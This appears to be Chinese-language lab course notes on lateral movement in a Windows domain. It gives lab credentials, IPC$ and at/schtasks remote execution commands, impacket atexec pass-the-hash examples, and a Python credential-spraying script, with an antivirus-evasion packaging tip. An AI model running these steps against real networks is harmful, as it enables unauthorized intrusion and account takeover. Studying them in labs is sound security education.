域横向批量atschtasksimpacket 传递
```
2008 r2 webserver
域内 web 服务器
本地管理员账号密码 :.\administraotr:admin!@#45
当前机器域用户密码 :god\webadmin:admin!@#45
```
-------------------------------------
2003 x86 fileserver
域内文件服务器
本地管理员账号密码 :
administrator : admin
当前机器域用户密码 :god\fileadmin : Admin12345
-------------------------------------
2008 r2 x64 dc god.org
主域控机器
域管账号密码:God\administrator : Admin12345
-------------------------------------
2012 sqlserver
域内数据库服务器
本地管理员账号密码 :.\administrator:admin!@#45
当前机器域用户密码 :god\dbadmin:admin!@#45
-------------------------------------
w7 x64 mary-pc
域内个人机
本地管理员账号密码 :.\mary : admin
当前机器域用户密码 :god\mary : admin!@#45
-------------------------------------
w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 :.\jack:admin
当前机器域用户密码 :god\boss:Admin12345
0x00 内网横向移动的两种方式小结
内网的横向移动的方式有传递和漏洞两种:
所谓传递就是通过内置的一系列协议与命令,
例如:
at,schtasks,
psexec,smbexec,
wmic,vmiexec,
PTH,PTT,PTK,
winrs,winrm,RDP,SPN等,实现达到渗透其他内网主机,
使用工具: CobaltStrike,Ladon等渗透
所谓漏洞就是一些主机或者其他的CVE漏洞去渗透主机
例如:
CVE-2014-6324
CVE-201717010
CVE-2020-1472等,实现达到渗透其他内网主机,
#案例 1-横向渗透明文传递 at&schtasks
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?
这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
基于对方开启139,445端口,获取其他主机的明文密码,或者hash值
1)at传递:
对于at命令需要对方主机低于win2012在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。首先at,sc协议需要有135/445端口的开放,一般主机都会开启。没有开启就采用其他的移动方式。
利用流程
1. 建立 IPC 链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除 IPC 链接
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
net view xx.xx.xx.xx # 查看对方共享
#建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有
防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
#建立 IPC 失败的原因
(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
[at] & [schtasks]
#at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
#schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务
对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务
案例演示
<1>获取到DC的IP地址。执行以下两个命令时,需要域用户登录,而不是本地用户登录
<2>假设已经找到DC的用户名密码(具体后面再详细讲)
<3>横向渗透
由于域控DC是Win2008R2(< Windows2012),可以使用at命令。
net use\\ip\ipc$ "password" /user:"username"
net use \\192.168.3.21\ipc$
"Admin12345"
/user
:god.org\administrator
# 建立ipc连接
copy add.bat \192.168.3.21\c$
#拷贝执行文件到目标机器的c盘
at \\192.168.3.21 15:47 c:\add.bat
#添加计划任务
一段时候后,xiaodi用户就自动添加成功了。
<4>如果目标计算机>=Windows2012,需要使用schtasks命令。
比如前期信息收集得到了sqlserver的用户名密码,SqlServer是window2012系统
如下图,当使用域用户登录时,copy是失败的,原因是权限不够,应该使用本地用户登录。
使用本地用户登录,执行如下命令
net use \\192.168.3.32\ipc$
"admin!@#45"
/user
:administrator # 建立ipc连接
copy add.bat \\192.168.3.32\c$
#复制文件到其C盘
schtasks
/create
/s
192.168.3.32
/ru
"SYSTEM"
/tn
adduser
/sc
DAILY
/tr
c:\add.bat /
F
#创建adduser任务对应执行文件
schtasks
/run
/s
192.168.3.32
/tn
adduser
/i
#运行adduser任务
schtasks
/delete
/s
192.168.3.21
/tn
adduser
/f
#删除adduser任务
等待一段时间,成功添加新用户。
net user 查看用户中是否多了一个xiaodinet user xiaodi 查看xiaodi账户创建时间是否为刚才计划任务的时间net user xiaodi /del 不需要了的话可以删除
#案例 2-横向渗透明文 HASH 传递 atexec-impacket
atexec
- 优点:一句话命令,连接、提权全部搞定。
- 缺点:第三方工具,非微软官方工具,易被杀毒软件查杀,实战中需要自己做一下免杀。
- atexec是Impacket网络协议工具包中的一个工具。Impacket工具包介绍:https://www.freebuf.com/sectool/175208.html
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
使用hash 密码的方式
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
如果是hash,就介绍到了atexec.exe这个工具包,这个工具包就支持远程命令执行
案例演示
<1>impacket工具包下载,可下载exe版本
- 地址:https://gitee.com/RichChigga/impacket-examples-windows
<2>执行命令,直接提权
#案例 3-横向渗透明文 HASH 传递批量利用-综合
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文
连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文
回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP
回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测
上面这两种方式每次只能验证一个用户和一个密码,下面用批处理进行批量建立连接:
这里用批处理写变量只有一个(要么控制ip变,其他写死) ,我希望连接的IP在变,密码也在变,用户名也在变可能性就多了
批处理我没有专业学过,三个变量还写不出来
我用python写py脚本,那那个环境没装py脚本怎么办?python有第三方库,可以把写的脚本打包编译成exe,用python做免杀也是很常见的
#案例 4-横向渗透明文 HASH 传递批量利用-升级版
前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典能吃西瓜?
net use \192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin
pip install pyinstaller
对于某些系统没有下载phthon
pyhon批量检测IP,密码,账户存活:
生成exe文件:
# pyinstaller -F fuck_neiwang_001.py //对py文件进行编译,生成可执行EXE
文件位置:
python批量检测:使用收集到的域内IP信息,密码账户信息作为字典
批量建立连接升级版.py文件
import os,time
收集到的内网存活主机ip
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.31',
'192.168.3.33'
}#net user /domain 等等收集到的用户
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'vpnadm',
'webadmin'
}#mimikate等等收集到的密码
passs={
'admin',
'admin!@#45',
'Admin12345'
}for ip in ips:
for user in users:
for mima in passs:
exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
print('--->'+exec+'<---')
os.system(exec)
time.sleep(1)
上面程序运行结束net use
查看建立了哪些连接,剩下的就是使用自带命令at&schtasks
上传脚本进行控制。
以上操作都是在我们知道用户和密码的情况下进行验证的,前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典,进行上面的批量验证
主机A 收集主机A的用户名和密码 组成字典
主机B 用主机A的用户信息验证是否可以登录到主机B,如果可以登录在收集主机B的用户信息,将信息添加到上面的字典里。
主机C 用上面的字典验证是否可以登录到主机C,如果可以登录依旧收集相关信息添加到字典中不断重复上面步骤,收集的信息越多字典越大,我们验证成功的可能性越大,实现从获得1台主机到内网中所有主机的操作
参考:66:内网安全-域横向批量at&schtasks&impacket - zhengna - 博客园 (cnblogs.com)
内网渗透-最实用的横向移动总结_告白的博客-CSDN博客
【内网渗透】域横向批量验证at&schtasks&atexec_信息安全交流QQ群:704033610-CSDN博客
域横向批量atschtasksimpacket 传递相关推荐
- p66 内网安全-域横向批量atschtasksimpacket
数据来源 本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径.若观众因此作出任何危害网络安全的行为,后果自负,与本人无关. 基本概念 DMZ区域:称为"隔离区",也称' ...
- 内网安全-域横向批量atschtasksimpacket
目录 0x01 横向渗透明文传递 1.1 渗透流程 1.2 IPC技术 1.3 [at] & [schtasks] 1.3.1 假设已经找到DC的用户名密码(具体后面再详细讲),由于域控DC ...
- 内网域横向PTHPTKPTT哈希票据传递
内网域横向PTH&PTK&PTT哈希票据传递 文章目录 内网域横向PTH&PTK&PTT哈希票据传递 PTH,PTT,PTK概念: 总结:KB2871997 补丁后的影 ...
- 【内网渗透】域横向PTHPTKPTT哈希票据传递
目录 0x001 相关知识 0x002 域横向移动PTH NTML传递 0x003 域横向移动PTK aes256传递 0x004 域横向移动PTT哈希票据传递-ms14068&kekeo&a ...
- 内网安全 - 域横向 PTHPTKPTT
域横向 PTH&PTK&PTT 基础知识 域横向移动PTH传递-Mimikatz 域横向移动PTK传递-mimikatz 域横向移动 PTT 传递-MS14068(主要)&ke ...
- 域服务器批量修改用户密码,Windows域控制器批量创建用户
Windows域控制器批量创建用户 猫先生 • 2019 年 06 月 05 日 之前做过VDI的项目,一百多个桌面,需要一百多个用户,我刚开始手动创建了5个,觉得这不是IT人干的事,要高效.网上找了 ...
- 内网安全学习(六)—域横向-内网漫游: Socks 代理
内网安全-域横向内网漫游 Socks 代理隧道技术 1.前置知识: 1)正向与反向连接: 正向就是你去连接被控主机,但由于机器处于内网内,分配的内网ip,无法直接找到,所以需要方向连接,即让主机连接我 ...
- 【内网安全】域横向smbwmi明文或hash传递
下面讲的是psexec&smbexec以及wimc&wmiexec 知识点1: windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码 windows20 ...
- 内网渗透-域横向smbwmin明文hash传递
文章目录 Procdump+Mimikatz配合获取明文hash Hashcat破解获取Windows NTML Hash 域横向移动SMB445服务利用 Psexec/PsTool Impacket ...
最新文章
- 重置 microsoft visual studio窗口
- python和R对dataframe的拼接、采样、链式操作:dplyr、tidyr、concat、rbind、cbind、sample、sample_n、set.seed、mutate、filter
- 位运算和典型应用详解
- arduino与matlab联调出现问题
- linux系统下top命令的详细用法、参数详解、以及模式配置
- 线程知识点(一)—— 程序、进程、线程之间的区别与联系、Java的线程状态和生命周期
- [转载]Flex 2.0 实现SWF全屏
- org.gjt.mm.mysql.Driver和com.mysql.jdbc.Driver的概述
- bmp转YUV RGB转YUV HM学习
- 基于麻雀算法优化的核极限学习机(KELM)回归预测 -附代码
- 眼图在通信系统中有什么意义_OA协同办公系统存在的意义是什么?协同OA的显着优势又在哪儿?...
- linux手机 电脑传文件怎么安装,centos7上成功安装iptux,成功实现安卓手机和Linux传送文件...
- 蚂蚁金服刘伟光:我们为什么要科技开放
- 治理预防(环保文章? NoNoNo~)
- 什么是好用的身份证实名认证api接口?其应用场景有哪些?
- 一文掌握Pandas可视化图表
- 行为设计模式:中介者模式
- unity 2d角色移动卡住的原因
- Java9、10、11、12、13、14、15、16、17个版本新特性
- 利用抖音Cookie充值接口提取支付链接,调起原生微信h5支付宝h5支付